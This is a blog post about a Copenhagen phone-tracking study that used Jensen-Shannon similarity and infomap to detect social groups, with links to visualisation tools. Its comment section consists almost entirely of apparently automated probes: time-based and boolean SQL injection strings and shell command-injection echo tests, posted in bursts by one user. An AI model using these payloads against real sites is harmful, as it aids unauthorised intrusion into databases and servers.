How People Gather

If I give you a phone under the condition that I get to track every person you interact with using GPS, WiFi, Bluetooth and much more and you have to fill out a complex survey revealing very personal details about your self. Would you do it? Well that is what about a thousend students have done, for a study in Copenhagen aming to find a better way to analyze social networks in.​

The strategy was to look at how the connections between people varied every 5 minutes and over time use something called the Jensen-Shannon similarity to identify which of the groups were the same. The only thing you need to configure is the similarity threaschold. Then you could suddenly identify people with a partner, family members, social friends, co-workers. Just by looking at when and where they were meeting. One of the more entertaining examples was a party that ended with a few couples going home at three ó clock and spending the rest of the weekend together.​


Here you can see how people move about during the day.​

Some of the tools used to do this include the map equation that you can read more about at http://www.​mapequation.​org/​apps/​mapdemo.​html and for the graphical something that looked like this https://marmelab.​com/​EventDrops/​ and this http://orgo.​stolarsky.​com/​ was used to represent the data visually. They are both found in the collection of graphical tools at https://d3js.​org/​.​

The soure code can be found at https://github.​com/​mapequation/​infomap if you want to try the entire application on your own data.​

- Johan Broddfelt
Socal networks, infomap, Jensen-Shannon similarity

<< The AI revolution in Science Build an AI application without code >>

Comment

Name
Mail (Not public)
Send mail uppdates on new comments

Comments

68 posts found

ZGvhjaGm')) OR 979=​(SELECT 979 FROM PG_SLEEP(12))--

2026-06-08 18:02:13 - wUmrLVWz

QtQfjZWx') OR 617=​(SELECT 617 FROM PG_SLEEP(12))--

2026-06-08 18:02:10 - wUmrLVWz

bQf9iqCN' OR 869=​(SELECT 869 FROM PG_SLEEP(12))--

2026-06-08 18:02:07 - wUmrLVWz

-1)) OR 102=​(SELECT 102 FROM PG_SLEEP(12))--

2026-06-08 18:02:05 - wUmrLVWz

-5) OR 825=​(SELECT 825 FROM PG_SLEEP(12))--

2026-06-08 18:02:02 - wUmrLVWz

-5 OR 174=​(SELECT 174 FROM PG_SLEEP(12))--

2026-06-08 18:01:59 - wUmrLVWz

mWGFpD9Y'; waitfor delay '0:0:12' --

2026-06-08 18:01:56 - wUmrLVWz

1 waitfor delay '0:0:12' --

2026-06-08 18:01:53 - wUmrLVWz

-1); waitfor delay '0:0:12' --

2026-06-08 18:01:51 - wUmrLVWz

-1; waitfor delay '0:0:12' --

2026-06-08 18:01:48 - wUmrLVWz

|echo bhrwqn$() fzlsrznz^xyu||a #' |echo bhrwqn$() fzlsrznz^xyu||a #|" |echo bhrwqn$() fzlsrznz^xyu||a #

2026-06-08 18:01:38 - wUmrLVWz

&echo orjnqj$() sjxrtqnz^xyu||a #' &echo orjnqj$() sjxrtqnz^xyu||a #|" &echo orjnqj$() sjxrtqnz^xyu||a #

2026-06-08 18:01:37 - wUmrLVWz

echo bgtssy$() zaqmwlnz^xyu||a #' &echo bgtssy$() zaqmwlnz^xyu||a #|" &echo bgtssy$() zaqmwlnz^xyu||a #

2026-06-08 18:01:35 - wUmrLVWz

-1" OR 3+324-324-1=​0+0+0+1 --

2026-06-08 18:01:35 - wUmrLVWz

-1" OR 2+324-324-1=​0+0+0+1 --

2026-06-08 18:01:33 - wUmrLVWz

-1' OR 3+315-315-1=​0+0+0+1 or '2mLu9k00'=​'

2026-06-08 18:01:31 - wUmrLVWz

-1' OR 2+315-315-1=​0+0+0+1 or '2mLu9k00'=​'

2026-06-08 18:01:29 - wUmrLVWz

-1' OR 3+833-833-1=​0+0+0+1 --

2026-06-08 18:01:28 - wUmrLVWz

-1' OR 2+833-833-1=​0+0+0+1 --

2026-06-08 18:01:26 - wUmrLVWz

-1 OR 3+838-838-1=​0+0+0+1

2026-06-08 18:01:25 - wUmrLVWz

-1 OR 2+838-838-1=​0+0+0+1

2026-06-08 18:01:24 - wUmrLVWz

-1 OR 3+349-349-1=​0+0+0+1 --

2026-06-08 18:01:22 - wUmrLVWz

-1 OR 2+349-349-1=​0+0+0+1 --

2026-06-08 18:01:20 - wUmrLVWz

cZqZqtel')) OR 169=​(SELECT 169 FROM PG_SLEEP(12))--

2026-06-08 15:06:59 - wUmrLVWz

Fk5HkNsz') OR 864=​(SELECT 864 FROM PG_SLEEP(12))--

2026-06-08 15:06:57 - wUmrLVWz

PGstuzz2' OR 672=​(SELECT 672 FROM PG_SLEEP(12))--

2026-06-08 15:06:55 - wUmrLVWz

-1)) OR 591=​(SELECT 591 FROM PG_SLEEP(12))--

2026-06-08 15:06:54 - wUmrLVWz

-5) OR 649=​(SELECT 649 FROM PG_SLEEP(12))--

2026-06-08 15:06:53 - wUmrLVWz

-5 OR 719=​(SELECT 719 FROM PG_SLEEP(12))--

2026-06-08 15:06:52 - wUmrLVWz

ZGZWrpW2'; waitfor delay '0:0:12' --

2026-06-08 15:06:49 - wUmrLVWz

1 waitfor delay '0:0:12' --

2026-06-08 15:06:46 - wUmrLVWz

-1); waitfor delay '0:0:12' --

2026-06-08 15:06:45 - wUmrLVWz

-1; waitfor delay '0:0:12' --

2026-06-08 15:06:43 - wUmrLVWz

|echo fsfbzn$() igsbuunz^xyu||a #' |echo fsfbzn$() igsbuunz^xyu||a #|" |echo fsfbzn$() igsbuunz^xyu||a #

2026-06-08 15:06:32 - wUmrLVWz

-1" OR 3*2>(0+5+511-511) --

2026-06-08 15:06:32 - wUmrLVWz

-1" OR 3*2<(0+5+511-511) --

2026-06-08 15:06:30 - wUmrLVWz

&echo kuktvc$() pkqrwpnz^xyu||a #' &echo kuktvc$() pkqrwpnz^xyu||a #|" &echo kuktvc$() pkqrwpnz^xyu||a #

2026-06-08 15:06:29 - wUmrLVWz

-1" OR 3+511-511-1=​0+0+0+1 --

2026-06-08 15:06:28 - wUmrLVWz

echo wbiriz$() uygtlcnz^xyu||a #' &echo wbiriz$() uygtlcnz^xyu||a #|" &echo wbiriz$() uygtlcnz^xyu||a #

2026-06-08 15:06:28 - wUmrLVWz

-1" OR 2+511-511-1=​0+0+0+1 --

2026-06-08 15:06:27 - wUmrLVWz

-1' OR 3*2>(0+5+38-38) or 'Ke52IRLe'=​'

2026-06-08 15:06:26 - wUmrLVWz

-1' OR 3*2<(0+5+38-38) or 'Ke52IRLe'='

2026-06-08 15:06:24 - wUmrLVWz

-1' OR 3+38-38-1=​0+0+0+1 or 'Ke52IRLe'=​'

2026-06-08 15:06:23 - wUmrLVWz

-1' OR 2+38-38-1=​0+0+0+1 or 'Ke52IRLe'=​'

2026-06-08 15:06:21 - wUmrLVWz

-1' OR 3*2>(0+5+361-361) --

2026-06-08 15:06:19 - wUmrLVWz

-1' OR 3*2<(0+5+361-361) --

2026-06-08 15:06:15 - wUmrLVWz

-1' OR 3+361-361-1=​0+0+0+1 --

2026-06-08 15:06:13 - wUmrLVWz

-1' OR 2+361-361-1=​0+0+0+1 --

2026-06-08 15:06:11 - wUmrLVWz

-1 OR 3*2>(0+5+78-78)

2026-06-08 15:06:08 - wUmrLVWz

-1 OR 3*2<(0+5+78-78)

2026-06-08 15:06:05 - wUmrLVWz

-1 OR 3+78-78-1=​0+0+0+1

2026-06-08 15:06:02 - wUmrLVWz

-1 OR 2+78-78-1=​0+0+0+1

2026-06-08 15:06:00 - wUmrLVWz

-1 OR 3*2>(0+5+81-81) --

2026-06-08 15:05:59 - wUmrLVWz

-1 OR 3*2<(0+5+81-81) --

2026-06-08 15:05:57 - wUmrLVWz

-1 OR 3+81-81-1=​0+0+0+1 --

2026-06-08 15:05:56 - wUmrLVWz

-1 OR 2+81-81-1=​0+0+0+1 --

2026-06-08 15:05:53 - wUmrLVWz